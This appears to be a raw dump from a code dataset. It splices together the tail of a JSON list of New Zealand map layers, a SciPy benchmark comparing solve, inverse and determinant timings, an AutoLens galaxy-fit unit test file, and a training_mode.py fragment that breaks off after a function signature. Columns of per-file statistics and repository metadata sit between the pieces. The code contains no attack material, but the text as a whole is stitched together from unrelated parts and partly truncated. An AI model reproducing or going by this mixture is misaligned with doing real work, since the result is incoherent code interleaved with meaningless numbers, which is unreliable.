"https://koordinates.com/services/api/v1/layers/4322/", "type": "layer", "name": "NZTA State Highway 2010-2011 Aerial Imagery, 0.15m", "first_published_at": "2012-08-10T02:08:09.980", "published_at": "2012-08-10T02:08:09.980Z"}, {"id": 1164, "url": "https://koordinates.com/services/api/v1/layers/1164/", "type": "layer", "name": "NZ Traffic Lights", "first_published_at": "2009-08-05T11:00:33.141", "published_at": "2009-08-05T11:00:33.141Z"}, {"id": 2136, "url": "https://koordinates.com/services/api/v1/layers/2136/", "type": "layer", "name": "Potential Flood Hazards", "first_published_at": "2011-01-12T00:52:15.291", "published_at": "2012-08-29T01:54:53.822Z"}, {"id": 200, "url": "https://koordinates.com/services/api/v1/layers/200/", "type": "layer", "name": "NZ General Electoral Districts (2007)", "first_published_at": "2008-06-20T00:00:00", "published_at": "2008-06-20T00:00:00Z"}, {"id": 4025, "url": "https://koordinates.com/services/api/v1/layers/4025/", "type": "layer", "name": "Wellington Region Tsunami Evacuation Zones", "first_published_at": "2012-02-10T02:58:36.196", "published_at": "2012-02-10T02:58:36.196Z"}, {"id": 692, "url": "https://koordinates.com/services/api/v1/layers/692/", "type": "layer", "name": "California Hillshade (30m)", "first_published_at": "2009-04-04T04:19:55.254", "published_at": "2009-04-04T04:19:55.254Z"}, {"id": 3875, "url": "https://koordinates.com/services/api/v1/layers/3875/", "type": "layer", "name": "Wellington City Aerial Imagery (2011)", "first_published_at": "2011-08-12T01:28:14.691", "published_at": "2011-08-12T01:28:14.691Z"}, {"id": 801, "url": "https://koordinates.com/services/api/v1/layers/801/", "type": "layer", "name": "Texas Oyster Reefs (Galveston Bay System) (", "first_published_at": "2009-05-21T06:55:45.575", "published_at": "2009-05-21T06:55:45.575Z"}, {"id": 1304, "url": "https://koordinates.com/services/api/v1/layers/1304/", "type": "layer", "name": "NZ Historic Places", "first_published_at": "2009-12-18T00:01:34.745", "published_at": "2009-12-18T00:01:34.745Z"}, {"id": 1336, "url": "https://koordinates.com/services/api/v1/layers/1336/", "type": "layer", "name": "NZTM Sheet Layout 1:10,000", "first_published_at": "2010-03-03T02:58:21.543", "published_at": "2010-03-03T02:58:21.543Z"}, {"id": 4284, "url": "https://koordinates.com/services/api/v1/layers/4284/", "type": "layer", "name": "NZ Area Units (2012 Yearly Pattern, Clipped)", "first_published_at": "2012-06-14T05:13:58.490", "published_at": "2012-06-14T05:13:58.490Z"}, {"id": 1503, "url": "https://koordinates.com/services/api/v1/layers/1503/", "type": "layer", "name": "Spark (formerly Telecom) Cell Sites", "first_published_at": "2010-07-06T03:16:29.131", "published_at": "2014-12-28T21:12:51.212Z"}, {"id": 300, "url": "https://koordinates.com/services/api/v1/layers/300/", "type": "layer", "name": "NZ FSMS6 (North Island)", "first_published_at": "2008-09-26T11:42:50.822", "published_at": "2008-09-26T11:42:50.822Z"}, {"id": 346, "url": "https://koordinates.com/services/api/v1/layers/346/", "type": "layer", "name": "NZ Urban Areas (2008 Yearly Pattern)", "first_published_at": "2008-11-14T23:19:59.396", "published_at": "2008-11-14T23:19:59.396Z"}, {"id": 40, "url": "https://koordinates.com/services/api/v1/layers/40/", "type": "layer", "name": "NZ Road Centrelines (Topo 1:50k)", "first_published_at": "2007-12-29T00:00:00", "published_at": "2015-01-08T07:26:21.316Z"}, {"id": 1483, "url": "https://koordinates.com/services/api/v1/layers/1483/", "type": "layer", "name": "NZ St John Ambulance Stations", "first_published_at": "2010-06-24T21:58:57.355", "published_at": "2010-06-24T21:58:57.355Z"}, {"id": 1184, "url": "https://koordinates.com/services/api/v1/layers/1184/", "type": "layer", "name": "Northland Flood Susceptible Land", "first_published_at": "2009-09-09T04:43:52.244", "published_at": "2009-09-09T04:43:52.244Z"}, {"id": 1247, "url": "https://koordinates.com/services/api/v1/layers/1247/", "type": "layer", "name": "NZ Territorial Authorities (2006 Census)", "first_published_at": "2009-11-13T02:27:01.021", "published_at": "2009-11-13T02:27:01.021Z"}, {"id": 2213, "url": "https://koordinates.com/services/api/v1/layers/2213/", "type": "layer", "name": "NZ Territorial Local Authority Boundaries 2011", "first_published_at": "2011-01-28T03:29:44.942", "published_at": "2011-01-28T03:29:44.942Z"}, {"id": 1291, "url": "https://koordinates.com/services/api/v1/layers/1291/", "type": "layer", "name": "World Bathymetry (1:10 million)", "first_published_at": "2010-01-27T00:47:33.135", "published_at": "2014-01-23T20:02:43.150Z"}, {"id": 4069, "url": "https://koordinates.com/services/api/v1/layers/4069/", "type": "layer", "name": "Wellington Region Earthquake Induced Slope Failure", "first_published_at": "2012-03-01T23:42:03.835", "published_at": "2012-03-01T23:42:03.835Z"}]"""
| 11,479.5
| 22,958
| 0.682477
| 3,565
| 22,959
| 4.309958
| 0.176999
| 0.143183
| 0.123658
| 0.143183
| 0.710836
| 0.650309
| 0.57683
| 0.318581
| 0.030459
| 0.025382
| 0
| 0.20674
| 0.068165
| 22,959
| 1
| 22,959
| 22,959
| 0.511452
| 0
| 0
| 0
| 0
| 1
| 0.997866
| 0.323707
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
e3e7db3a2893f4db3236088b1c5410ebb3d03517
| 4,265
|
py
|
Python
|
tests/build/scipy/scipy/linalg/benchmarks/bench_basic.py
|
crougeux/-a-i_v1.6.3_modif
|
b499a812e79f335d082d3f9b1070e0465ad67bab
|
[
"BSD-3-Clause"
] | 26
|
2018-02-14T23:52:58.000Z
|
2021-08-16T13:50:03.000Z
|
tests/build/scipy/scipy/linalg/benchmarks/bench_basic.py
|
crougeux/-a-i_v1.6.3_modif
|
b499a812e79f335d082d3f9b1070e0465ad67bab
|
[
"BSD-3-Clause"
] | 1
|
2021-09-11T14:30:32.000Z
|
2021-09-11T14:30:32.000Z
|
tests/build/scipy/scipy/linalg/benchmarks/bench_basic.py
|
crougeux/-a-i_v1.6.3_modif
|
b499a812e79f335d082d3f9b1070e0465ad67bab
|
[
"BSD-3-Clause"
] | 10
|
2018-08-13T19:38:39.000Z
|
2020-04-19T03:02:00.000Z
|
from __future__ import division, print_function, absolute_import
import sys
from numpy.testing import measure, rand, assert_, TestCase
import numpy.linalg as nl
import scipy.linalg as sl
def random(size):
return rand(*size)
class TestSolve(TestCase):
def bench_random(self):
numpy_solve = nl.solve
scipy_solve = sl.solve
print()
print(' Solving system of linear equations')
print(' ==================================')
print(' | contiguous | non-contiguous ')
print('----------------------------------------------')
print(' size | scipy | numpy | scipy | numpy ')
for size,repeat in [(20,1000),(100,150),(500,2),(1000,1)][:-1]:
repeat *= 2
print('%5s' % size, end=' ')
sys.stdout.flush()
a = random([size,size])
# larger diagonal ensures non-singularity:
for i in range(size):
a[i,i] = 10*(.1+a[i,i])
b = random([size])
print('| %6.2f ' % measure('scipy_solve(a,b)',repeat), end=' ')
sys.stdout.flush()
print('| %6.2f ' % measure('numpy_solve(a,b)',repeat), end=' ')
sys.stdout.flush()
a = a[-1::-1,-1::-1] # turn into a non-contiguous array
assert_(not a.flags['CONTIGUOUS'])
print('| %6.2f ' % measure('scipy_solve(a,b)',repeat), end=' ')
sys.stdout.flush()
print('| %6.2f ' % measure('numpy_solve(a,b)',repeat), end=' ')
sys.stdout.flush()
print(' (secs for %s calls)' % (repeat))
class TestInv(TestCase):
def bench_random(self):
numpy_inv = nl.inv
scipy_inv = sl.inv
print()
print(' Finding matrix inverse')
print(' ==================================')
print(' | contiguous | non-contiguous ')
print('----------------------------------------------')
print(' size | scipy | numpy | scipy | numpy')
for size,repeat in [(20,1000),(100,150),(500,2),(1000,1)][:-1]:
repeat *= 2
print('%5s' % size, end=' ')
sys.stdout.flush()
a = random([size,size])
# large diagonal ensures non-singularity:
for i in range(size):
a[i,i] = 10*(.1+a[i,i])
print('| %6.2f ' % measure('scipy_inv(a)',repeat), end=' ')
sys.stdout.flush()
print('| %6.2f ' % measure('numpy_inv(a)',repeat), end=' ')
sys.stdout.flush()
a = a[-1::-1,-1::-1] # turn into a non-contiguous array
assert_(not a.flags['CONTIGUOUS'])
print('| %6.2f ' % measure('scipy_inv(a)',repeat), end=' ')
sys.stdout.flush()
print('| %6.2f ' % measure('numpy_inv(a)',repeat), end=' ')
sys.stdout.flush()
print(' (secs for %s calls)' % (repeat))
class TestDet(TestCase):
def bench_random(self):
numpy_det = nl.det
scipy_det = sl.det
print()
print(' Finding matrix determinant')
print(' ==================================')
print(' | contiguous | non-contiguous ')
print('----------------------------------------------')
print(' size | scipy | numpy | scipy | numpy ')
for size,repeat in [(20,1000),(100,150),(500,2),(1000,1)][:-1]:
repeat *= 2
print('%5s' % size, end=' ')
sys.stdout.flush()
a = random([size,size])
print('| %6.2f ' % measure('scipy_det(a)',repeat), end=' ')
sys.stdout.flush()
print('| %6.2f ' % measure('numpy_det(a)',repeat), end=' ')
sys.stdout.flush()
a = a[-1::-1,-1::-1] # turn into a non-contiguous array
assert_(not a.flags['CONTIGUOUS'])
print('| %6.2f ' % measure('scipy_det(a)',repeat), end=' ')
sys.stdout.flush()
print('| %6.2f ' % measure('numpy_det(a)',repeat), end=' ')
sys.stdout.flush()
print(' (secs for %s calls)' % (repeat))
if __name__ == "__main__":
run_module_suite()
| 31.828358
| 75
| 0.45932
| 472
| 4,265
| 4.063559
| 0.175847
| 0.046924
| 0.093848
| 0.132951
| 0.780501
| 0.780501
| 0.729927
| 0.729927
| 0.729927
| 0.729927
| 0
| 0.039501
| 0.323329
| 4,265
| 133
| 76
| 32.067669
| 0.625087
| 0.04197
| 0
| 0.76087
| 0
| 0
| 0.24951
| 0.058824
| 0
| 0
| 0
| 0
| 0.043478
| 1
| 0.043478
| false
| 0
| 0.054348
| 0.01087
| 0.141304
| 0.402174
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
54036874ff60d50672a7aabc667ac29f68c7f32a
| 23,203
|
py
|
Python
|
test/model/galaxy/test_galaxy_fit.py
|
AshKelly/PyAutoLens
|
043795966338a655339e61782253ad67cc3c14e6
|
[
"MIT"
] | null | null | null |
test/model/galaxy/test_galaxy_fit.py
|
AshKelly/PyAutoLens
|
043795966338a655339e61782253ad67cc3c14e6
|
[
"MIT"
] | null | null | null |
test/model/galaxy/test_galaxy_fit.py
|
AshKelly/PyAutoLens
|
043795966338a655339e61782253ad67cc3c14e6
|
[
"MIT"
] | null | null | null |
import numpy as np
import pytest
from autofit.tools import fit_util
from autolens.data.array import mask as msk, scaled_array as sca
from autolens.model.galaxy import galaxy_data as gd
from autolens.model.galaxy import galaxy as g, galaxy_fit
from autolens.model.profiles import light_profiles as lp, mass_profiles as mp
from test.mock.mock_galaxy import MockGalaxy
class TestGalaxyFit:
class TestLikelihood:
def test__1x1_image__light_profile_fits_data_perfectly__lh_is_noise(self):
image = sca.ScaledSquarePixelArray(array=np.ones((3, 3)), pixel_scale=1.0)
noise_map = sca.ScaledSquarePixelArray(array=np.ones((3, 3)), pixel_scale=1.0)
galaxy_data = gd.GalaxyData(image=image, noise_map=noise_map, pixel_scale=3.0)
mask = msk.Mask(array=np.array([[True, True, True],
[True, False, True],
[True, True, True]]), pixel_scale=1.0)
g0 = MockGalaxy(value=1.0)
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=1,
use_intensities=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[g0])
assert fit.model_galaxies == [g0]
assert fit.likelihood == -0.5 * np.log(2 * np.pi * 1.0)
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=1,
use_surface_density=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[g0])
assert fit.model_galaxies == [g0]
assert fit.likelihood == -0.5 * np.log(2 * np.pi * 1.0)
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=1,
use_potential=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[g0])
assert fit.model_galaxies == [g0]
assert fit.likelihood == -0.5 * np.log(2 * np.pi * 1.0)
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=1,
use_deflections_y=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[g0])
assert fit.model_galaxies == [g0]
assert fit.likelihood == -0.5 * np.log(2 * np.pi * 1.0)
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=1,
use_deflections_x=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[g0])
assert fit.model_galaxies == [g0]
assert fit.likelihood == -0.5 * np.log(2 * np.pi * 1.0)
def test__1x2_image__noise_not_1__alls_correct(self):
image = sca.ScaledSquarePixelArray(array=5.0*np.ones((3, 4)), pixel_scale=1.0)
image[1,2] = 4.0
noise_map = sca.ScaledSquarePixelArray(array=2.0*np.ones((3, 4)), pixel_scale=1.0)
galaxy_data = gd.GalaxyData(image=image, noise_map=noise_map, pixel_scale=3.0)
mask = msk.Mask(array=np.array([[True, True, True, True],
[True, False, False, True],
[True, True, True, True]]), pixel_scale=1.0)
g0 = MockGalaxy(value=1.0, shape=2)
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=1,
use_intensities=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[g0])
assert fit.model_galaxies == [g0]
assert fit.chi_squared == (25.0 / 4.0)
assert fit.reduced_chi_squared == (25.0 / 4.0) / 2.0
assert fit.likelihood == -0.5 * ((25.0 / 4.0) + 2.0*np.log(2 * np.pi * 2.0**2))
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=1,
use_surface_density=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[g0])
assert fit.model_galaxies == [g0]
assert fit.chi_squared == (25.0 / 4.0)
assert fit.reduced_chi_squared == (25.0 / 4.0) / 2.0
assert fit.likelihood == -0.5 * ((25.0 / 4.0) + 2.0*np.log(2 * np.pi * 2.0**2))
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=1,
use_potential=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[g0])
assert fit.model_galaxies == [g0]
assert fit.chi_squared == (25.0 / 4.0)
assert fit.reduced_chi_squared == (25.0 / 4.0) / 2.0
assert fit.likelihood == -0.5 * ((25.0 / 4.0) + 2.0*np.log(2 * np.pi * 2.0**2))
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=1,
use_deflections_y=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[g0])
assert fit.chi_squared == (25.0 / 4.0)
assert fit.reduced_chi_squared == (25.0 / 4.0) / 2.0
assert fit.likelihood == -0.5 * ((25.0 / 4.0) + 2.0*np.log(2 * np.pi * 2.0**2))
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=1,
use_deflections_x=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[g0])
assert fit.chi_squared == (25.0 / 4.0)
assert fit.reduced_chi_squared == (25.0 / 4.0) / 2.0
assert fit.likelihood == -0.5 * ((25.0 / 4.0) + 2.0*np.log(2 * np.pi * 2.0**2))
class TestCompareToManual:
def test__intensities(self):
image = sca.ScaledSquarePixelArray(array=np.array([[0.0, 0.0, 0.0, 0.0, 0.0],
[0.0, 1.0, 2.0, 3.0, 0.0],
[0.0, 4.0, 5.0, 6.0, 0.0],
[0.0, 7.0, 8.0, 9.0, 0.0],
[0.0, 0.0, 0.0, 0.0, 0.0]]), pixel_scale=1.0)
noise_map = 2.0 * np.ones((5, 5))
galaxy_data = gd.GalaxyData(image=image, noise_map=noise_map, pixel_scale=3.0)
mask = msk.Mask(array=np.array([[True, True, True, True, True],
[True, False, False, False, True],
[True, False, False, False, True],
[True, False, False, False, True],
[True, True, True, True, True]]), pixel_scale=1.0)
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=2, use_intensities=True)
galaxy = g.Galaxy(light=lp.SphericalSersic(centre=(1.0, 2.0), intensity=1.0))
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[galaxy])
assert fit.model_galaxies == [galaxy]
model_data_1d = galaxy.intensities_from_grid(grid=galaxy_fit_data.grid_stack.sub)
model_data_1d = galaxy_fit_data.grid_stack.sub.sub_data_to_regular_data(sub_array=model_data_1d)
model_data = galaxy_fit_data.map_to_scaled_array(array_1d=model_data_1d)
residual_map = fit_util.residual_map_from_data_mask_and_model_data(data=galaxy_fit_data.image, mask=galaxy_fit_data.mask,
model_data=model_data)
assert residual_map == pytest.approx(fit.residual_map, 1e-4)
chi_squared_map = fit_util.chi_squared_map_from_residual_map_noise_map_and_mask(residual_map=residual_map,
mask=galaxy_fit_data.mask, noise_map=galaxy_fit_data.noise_map)
assert chi_squared_map == pytest.approx(fit.chi_squared_map, 1e-4)
chi_squared_map = fit_util.chi_squared_map_from_residual_map_noise_map_and_mask(residual_map=residual_map,
mask=galaxy_fit_data.mask, noise_map=galaxy_fit_data.noise_map)
assert chi_squared_map == pytest.approx(fit.chi_squared_map, 1e-4)
chi_squared = fit_util.chi_squared_from_chi_squared_map_and_mask(chi_squared_map=chi_squared_map,
mask=mask)
noise_normalization = fit_util.noise_normalization_from_noise_map_and_mask(mask=galaxy_fit_data.mask,
noise_map=galaxy_fit_data.noise_map)
likelihood = fit_util.likelihood_from_chi_squared_and_noise_normalization(chi_squared=chi_squared,
noise_normalization=noise_normalization)
assert likelihood == pytest.approx(fit.likelihood, 1e-4)
def test__surface_density(self):
image = sca.ScaledSquarePixelArray(array=np.array([[0.0, 0.0, 0.0, 0.0, 0.0],
[0.0, 1.0, 2.0, 3.0, 0.0],
[0.0, 4.0, 5.0, 6.0, 0.0],
[0.0, 7.0, 8.0, 9.0, 0.0],
[0.0, 0.0, 0.0, 0.0, 0.0]]), pixel_scale=1.0)
noise_map = 2.0 * np.ones((5, 5))
galaxy_data = gd.GalaxyData(image=image, noise_map=noise_map, pixel_scale=3.0)
mask = msk.Mask(array=np.array([[True, True, True, True, True],
[True, False, False, False, True],
[True, False, False, False, True],
[True, False, False, False, True],
[True, True, True, True, True]]), pixel_scale=1.0)
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=2, use_surface_density=True)
galaxy = g.Galaxy(mass=mp.SphericalIsothermal(centre=(1.0, 2.0), einstein_radius=1.0))
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[galaxy])
assert fit.model_galaxies == [galaxy]
model_data_1d = galaxy.surface_density_from_grid(grid=galaxy_fit_data.grid_stack.sub)
model_data_1d = galaxy_fit_data.grid_stack.sub.sub_data_to_regular_data(sub_array=model_data_1d)
model_data = galaxy_fit_data.map_to_scaled_array(array_1d=model_data_1d)
residual_map = fit_util.residual_map_from_data_mask_and_model_data(data=galaxy_fit_data.image, mask=galaxy_fit_data.mask,
model_data=model_data)
assert residual_map == pytest.approx(fit.residual_map, 1e-4)
chi_squared_map = fit_util.chi_squared_map_from_residual_map_noise_map_and_mask(residual_map=residual_map,
mask=galaxy_fit_data.mask, noise_map=galaxy_fit_data.noise_map)
assert chi_squared_map == pytest.approx(fit.chi_squared_map, 1e-4)
chi_squared_map = fit_util.chi_squared_map_from_residual_map_noise_map_and_mask(residual_map=residual_map,
mask=galaxy_fit_data.mask, noise_map=galaxy_fit_data.noise_map)
assert chi_squared_map == pytest.approx(fit.chi_squared_map, 1e-4)
chi_squared = fit_util.chi_squared_from_chi_squared_map_and_mask(chi_squared_map=chi_squared_map,
mask=mask)
noise_normalization = fit_util.noise_normalization_from_noise_map_and_mask(mask=galaxy_fit_data.mask,
noise_map=galaxy_fit_data.noise_map)
likelihood = fit_util.likelihood_from_chi_squared_and_noise_normalization(chi_squared=chi_squared,
noise_normalization=noise_normalization)
assert likelihood == pytest.approx(fit.likelihood, 1e-4)
def test__potential(self):
image = sca.ScaledSquarePixelArray(array=np.array([[0.0, 0.0, 0.0, 0.0, 0.0],
[0.0, 1.0, 2.0, 3.0, 0.0],
[0.0, 4.0, 5.0, 6.0, 0.0],
[0.0, 7.0, 8.0, 9.0, 0.0],
[0.0, 0.0, 0.0, 0.0, 0.0]]), pixel_scale=1.0)
noise_map = 2.0 * np.ones((5, 5))
galaxy_data = gd.GalaxyData(image=image, noise_map=noise_map, pixel_scale=3.0)
mask = msk.Mask(array=np.array([[True, True, True, True, True],
[True, False, False, False, True],
[True, False, False, False, True],
[True, False, False, False, True],
[True, True, True, True, True]]), pixel_scale=1.0)
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=2, use_potential=True)
galaxy = g.Galaxy(mass=mp.SphericalIsothermal(centre=(1.0, 2.0), einstein_radius=1.0))
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[galaxy])
assert fit.model_galaxies == [galaxy]
model_data_1d = galaxy.potential_from_grid(grid=galaxy_fit_data.grid_stack.sub)
model_data_1d = galaxy_fit_data.grid_stack.sub.sub_data_to_regular_data(sub_array=model_data_1d)
model_data = galaxy_fit_data.map_to_scaled_array(array_1d=model_data_1d)
residual_map = fit_util.residual_map_from_data_mask_and_model_data(data=galaxy_fit_data.image, mask=galaxy_fit_data.mask,
model_data=model_data)
assert residual_map == pytest.approx(fit.residual_map, 1e-4)
chi_squared_map = fit_util.chi_squared_map_from_residual_map_noise_map_and_mask(residual_map=residual_map,
mask=galaxy_fit_data.mask, noise_map=galaxy_fit_data.noise_map)
assert chi_squared_map == pytest.approx(fit.chi_squared_map, 1e-4)
chi_squared_map = fit_util.chi_squared_map_from_residual_map_noise_map_and_mask(residual_map=residual_map,
mask=galaxy_fit_data.mask, noise_map=galaxy_fit_data.noise_map)
assert chi_squared_map == pytest.approx(fit.chi_squared_map, 1e-4)
chi_squared = fit_util.chi_squared_from_chi_squared_map_and_mask(chi_squared_map=chi_squared_map,
mask=mask)
noise_normalization = fit_util.noise_normalization_from_noise_map_and_mask(mask=galaxy_fit_data.mask,
noise_map=galaxy_fit_data.noise_map)
likelihood = fit_util.likelihood_from_chi_squared_and_noise_normalization(chi_squared=chi_squared,
noise_normalization=noise_normalization)
assert likelihood == pytest.approx(fit.likelihood, 1e-4)
def test__deflections_y(self):
image = sca.ScaledSquarePixelArray(array=np.array([[0.0, 0.0, 0.0, 0.0, 0.0],
[0.0, 1.0, 2.0, 3.0, 0.0],
[0.0, 4.0, 5.0, 6.0, 0.0],
[0.0, 7.0, 8.0, 9.0, 0.0],
[0.0, 0.0, 0.0, 0.0, 0.0]]), pixel_scale=1.0)
noise_map = 2.0 * np.ones((5, 5))
galaxy_data = gd.GalaxyData(image=image, noise_map=noise_map, pixel_scale=3.0)
mask = msk.Mask(array=np.array([[True, True, True, True, True],
[True, False, False, False, True],
[True, False, False, False, True],
[True, False, False, False, True],
[True, True, True, True, True]]), pixel_scale=1.0)
galaxy = g.Galaxy(mass=mp.SphericalIsothermal(centre=(1.0, 2.0), einstein_radius=1.0))
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=2,
use_deflections_y=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[galaxy])
assert fit.model_galaxies == [galaxy]
model_data_1d = galaxy.deflections_from_grid(grid=galaxy_fit_data.grid_stack.sub)
model_data_1d = galaxy_fit_data.grid_stack.sub.sub_data_to_regular_data(sub_array=model_data_1d[:,0])
model_data = galaxy_fit_data.map_to_scaled_array(array_1d=model_data_1d)
residual_map = fit_util.residual_map_from_data_mask_and_model_data(data=galaxy_fit_data.image,
mask=galaxy_fit_data.mask,
model_data=model_data)
assert residual_map == pytest.approx(fit.residual_map, 1e-4)
chi_squared_map = fit_util.chi_squared_map_from_residual_map_noise_map_and_mask(residual_map=residual_map,
mask=galaxy_fit_data.mask, noise_map=galaxy_fit_data.noise_map)
assert chi_squared_map == pytest.approx(fit.chi_squared_map, 1e-4)
chi_squared_map = fit_util.chi_squared_map_from_residual_map_noise_map_and_mask(residual_map=residual_map,
mask=galaxy_fit_data.mask, noise_map=galaxy_fit_data.noise_map)
assert chi_squared_map == pytest.approx(fit.chi_squared_map, 1e-4)
chi_squared = fit_util.chi_squared_from_chi_squared_map_and_mask(chi_squared_map=chi_squared_map, mask=mask)
noise_normalization = fit_util.noise_normalization_from_noise_map_and_mask(mask=galaxy_fit_data.mask,
noise_map=galaxy_fit_data.noise_map)
likelihood = fit_util.likelihood_from_chi_squared_and_noise_normalization(chi_squared=chi_squared,
noise_normalization=noise_normalization)
assert likelihood == pytest.approx(fit.likelihood, 1e-4)
def test__deflections_x(self):
image = sca.ScaledSquarePixelArray(array=np.array([[0.0, 0.0, 0.0, 0.0, 0.0],
[0.0, 1.0, 2.0, 3.0, 0.0],
[0.0, 4.0, 5.0, 6.0, 0.0],
[0.0, 7.0, 8.0, 9.0, 0.0],
[0.0, 0.0, 0.0, 0.0, 0.0]]), pixel_scale=1.0)
noise_map = 2.0 * np.ones((5, 5))
galaxy_data = gd.GalaxyData(image=image, noise_map=noise_map, pixel_scale=3.0)
mask = msk.Mask(array=np.array([[True, True, True, True, True],
[True, False, False, False, True],
[True, False, False, False, True],
[True, False, False, False, True],
[True, True, True, True, True]]), pixel_scale=1.0)
galaxy = g.Galaxy(mass=mp.SphericalIsothermal(centre=(1.0, 2.0), einstein_radius=1.0))
galaxy_fit_data = gd.GalaxyFitData(galaxy_data=galaxy_data, mask=mask, sub_grid_size=2, use_deflections_x=True)
fit = galaxy_fit.GalaxyFit(galaxy_data=galaxy_fit_data, model_galaxies=[galaxy])
assert fit.model_galaxies == [galaxy]
model_data_1d = galaxy.deflections_from_grid(grid=galaxy_fit_data.grid_stack.sub)
model_data_1d = galaxy_fit_data.grid_stack.sub.sub_data_to_regular_data(sub_array=model_data_1d[:,1])
model_data = galaxy_fit_data.map_to_scaled_array(array_1d=model_data_1d)
residual_map = fit_util.residual_map_from_data_mask_and_model_data(data=galaxy_fit_data.image, mask=galaxy_fit_data.mask,
model_data=model_data)
assert residual_map == pytest.approx(fit.residual_map, 1e-4)
chi_squared_map = fit_util.chi_squared_map_from_residual_map_noise_map_and_mask(residual_map=residual_map,
mask=galaxy_fit_data.mask, noise_map=galaxy_fit_data.noise_map)
assert chi_squared_map == pytest.approx(fit.chi_squared_map, 1e-4)
chi_squared_map = fit_util.chi_squared_map_from_residual_map_noise_map_and_mask(residual_map=residual_map,
mask=galaxy_fit_data.mask, noise_map=galaxy_fit_data.noise_map)
assert chi_squared_map == pytest.approx(fit.chi_squared_map, 1e-4)
chi_squared = fit_util.chi_squared_from_chi_squared_map_and_mask(chi_squared_map=chi_squared_map,
mask=mask)
noise_normalization = fit_util.noise_normalization_from_noise_map_and_mask(mask=galaxy_fit_data.mask,
noise_map=galaxy_fit_data.noise_map)
likelihood = fit_util.likelihood_from_chi_squared_and_noise_normalization(chi_squared=chi_squared,
noise_normalization=noise_normalization)
assert likelihood == pytest.approx(fit.likelihood, 1e-4)
| 62.206434
| 133
| 0.545705
| 2,881
| 23,203
| 4.057966
| 0.036446
| 0.026516
| 0.034642
| 0.039347
| 0.952528
| 0.947909
| 0.937131
| 0.936276
| 0.936276
| 0.933368
| 0
| 0.042114
| 0.361419
| 23,203
| 372
| 134
| 62.373656
| 0.746912
| 0
| 0
| 0.831461
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.198502
| 1
| 0.026217
| false
| 0
| 0.029963
| 0
| 0.067416
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
54067e82de77f2bb6f2a17d016850c5778b6cb5e
| 16,980
|
py
|
Python
|
src/models/training_mode.py
|
LeanderLXZ/intelligent-analysis-of-financial-statements
|
38bab5bea3c2f22f71020020c8325f6b6b014853
|
[
"Apache-2.0"
] | null | null | null |
src/models/training_mode.py
|
LeanderLXZ/intelligent-analysis-of-financial-statements
|
38bab5bea3c2f22f71020020c8325f6b6b014853
|
[
"Apache-2.0"
] | null | null | null |
src/models/training_mode.py
|
LeanderLXZ/intelligent-analysis-of-financial-statements
|
38bab5bea3c2f22f71020020c8325f6b6b014853
|
[
"Apache-2.0"
] | 1
|
2021-12-15T02:09:16.000Z
|
2021-12-15T02:09:16.000Z
|
import random
from models.parameters import *
class TrainingMode(object):
def __init__(self):
pass
@staticmethod
def get_train_function(train_mode, model_name,
train_args=None, cv_args=None, use_multi_group=False):
